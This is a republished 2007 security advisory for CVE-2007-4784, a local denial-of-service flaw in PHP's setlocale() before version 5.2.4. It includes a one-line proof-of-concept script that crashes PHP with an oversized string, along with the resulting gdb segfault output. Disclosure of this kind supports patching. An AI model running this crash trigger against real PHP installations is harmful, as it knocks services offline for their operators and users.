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Home arrow SecurityAlert Database

Arrow  Topic :

PHP < 5.2.4 setlocale() denial of service


Arrow  SecurityAlert : 3114
Arrow  CVE : CVE-2007-4784
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Exploit Given : Yes
Arrow  Credit : laurent gaffie
Arrow  Published : 12.09.2007

Arrow  Affected Software : PHP < 5.2.4



Arrow  Advisory Text :  

Application: PHP < 5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: setlocale()
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

setlocale() is vulnerable to a denial of service

=====
3)Proof of concept
=====

Proof of concept example :
<?php
setlocale(LC_COLLATE, str_repeat("A", 34438013));
?>

result:
(gdb) run ./1.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215805760 (LWP 10504)]
0xb78a584b in setlocale () from /lib/tls/i686/cmov/libc.so.6

========
4)Greets
========
Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone &
#nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....





Arrow  Feedback :

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